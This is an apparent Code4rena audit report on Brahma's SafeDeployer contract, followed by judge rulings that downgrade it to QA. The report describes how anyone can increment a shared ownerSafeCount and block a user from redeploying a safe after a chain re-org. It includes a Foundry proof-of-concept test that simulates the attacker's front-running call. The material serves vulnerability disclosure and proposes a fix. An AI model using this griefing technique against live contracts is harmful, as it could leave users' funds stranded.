If a re-org happens users can fail to redeploy their safe on the same address because ownerSafeCount can be increased by anyone, leading to funds being stuck

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-brahma/blob/dd0b41031b199a0aa214e50758943712f9f574a0/contracts/src/core/SafeDeployer.sol#L253-L255

Vulnerability details

Because Brahma is planning to deploy on L2 chains where re-orgs are common like on Polygon there should always be an option to redeploy the safe on the same address so no funds are lost because it is very likely that users will deposit funds there right after deploying their console account.

If a user creates a console account and right after deposits funds there but a reorg happens and the account is not deployed but the funds are sent, the user will have to call deployConsoleAccount() again with the same params so that the nonce is the same and the address where funds were sent is the same, however take a look at _genNonce():

https://github.com/code-423n4/2023-10-brahma/blob/dd0b41031b199a0aa214e50758943712f9f574a0/contracts/src/core/SafeDeployer.sol#L253-L255

225:   bytes32 ownersHash = keccak256(abi.encode(_owners));

253:   function _genNonce(bytes32 _ownersHash, bytes32 _salt) private returns (uint256) {
254:        return uint256(keccak256(abi.encodePacked(_ownersHash, ownerSafeCount[_ownersHash]++, _salt, VERSION)));
255:   }

The problem is that the ownerSafeCount can be incremented by anyone because _ownersHash is the hash of the owners array and not the msg.sender so an attacker can call deployConsoleAccount() with the same owners array and this will increase the ownerSafeCount.

So when a re-org happens but the users funds were sent, the attacker will call deployConsoleAccount() with the same owners array but different salt(so the address is not the same as the one the user deployed) this will increase the ownerSafeCount and the user will never be able to redeploy on the same address and his funds will be lost because _genNonce() will now return a different nonce

Impact

The user will fail to redeploy to the address where the funds were sent and these funds will be stuck forever.

Proof of Concept

Add this to DeployConsoleAccount.t.sol, as you can see the attacker can increase the ownerSafeCount and the user will fail to deploy on the same address

function testDeployConsoleAccountReorg() public {
        address[] memory owners = new address[](3);
        owners[0] = makeAddr("owners[0]");
        owners[1] = makeAddr("owners[1]");
        owners[2] = makeAddr("owners[2]");

        //THE RE-ORG HAPPENS HERE
        //0x476D9D9309B30f21224a2F4296aB68D0420928ef - this is the address that was deployed but a re-org happened
        //address _wallet = safeDeployer.deployConsoleAccount(owners, 2, bytes32(0), keccak256("salt"));

        //THE USER SENDS FUNDS RIGHT AFTER DEPLOYING
        vm.deal(address(this), 1 ether);
        (bool success, ) = 0x476D9D9309B30f21224a2F4296aB68D0420928ef.call{value: 1 ether}("");
        require(success);

        //THE ATTACKER SEES THIS AND CALLS deployConsoleAccount WITH THE SAME owners array but different salt/params
        vm.prank(makeAddr("attacker"));
        address _attackersWallet = safeDeployer.deployConsoleAccount(owners, 2, bytes32(0), keccak256("differentSaltFromTheOneUsedByUser"));
        console.log("Attackers wallet(different address from the one deployed by the user):", _attackersWallet);

        console.log("The ownersSafeCount is now:", safeDeployer.ownerSafeCount(keccak256(abi.encode(owners))));

        //THE USER THEN WANTS TO REDEPLOY THINKING HE WILL DEPLOY ON THE SAME ADDRESS
        address _wallet = safeDeployer.deployConsoleAccount(owners, 2, bytes32(0), keccak256("salt"));
        console.log("The address of the wallet when the user tries to redeploy:", _wallet);

        //A COMPLETELY DIFFERENT ADDRESS IS DEPLOYED AND THE FUNDS ARE STUCK IN THE CONTRACT
        console.log("The balance of the contract where the funds are stuck", 0x476D9D9309B30f21224a2F4296aB68D0420928ef.balance);
    }

Tools Used

Foundry

Recommended Mitigation Steps

The solution here is simple - hash msg.sender with the owners array so that if a re-org happens only msg.sender that deployed will be able to redeploy on the same address

bytes32 ownersHash = keccak256(abi.encode(_owners,msg.sender));

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as low quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #244

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as primary issue

[c4-judge]

alex-ppg marked the issue as satisfactory

[alex-ppg]

Both issues describe different attack vectors arising from the same vulnerability; the nonce of a particular owner-set is tied to their hash and not necessarily to the salt_ used for them.

This is indeed an issue, however, classifying it as "Medium" is an over-statement; funds will not be lost as directly interacting with the Gnosis Safe deployer will still permit those funds to be retrieved.

I did note this particular misbehaviour in #396, indicating that this particular misbehaviour is not solely an issue with chain re-orgs but a general flaw in the way the nonce system of the deployer works.

[c4-judge]

alex-ppg changed the severity to QA (Quality Assurance)

[c4-judge]

alex-ppg marked the issue as grade-b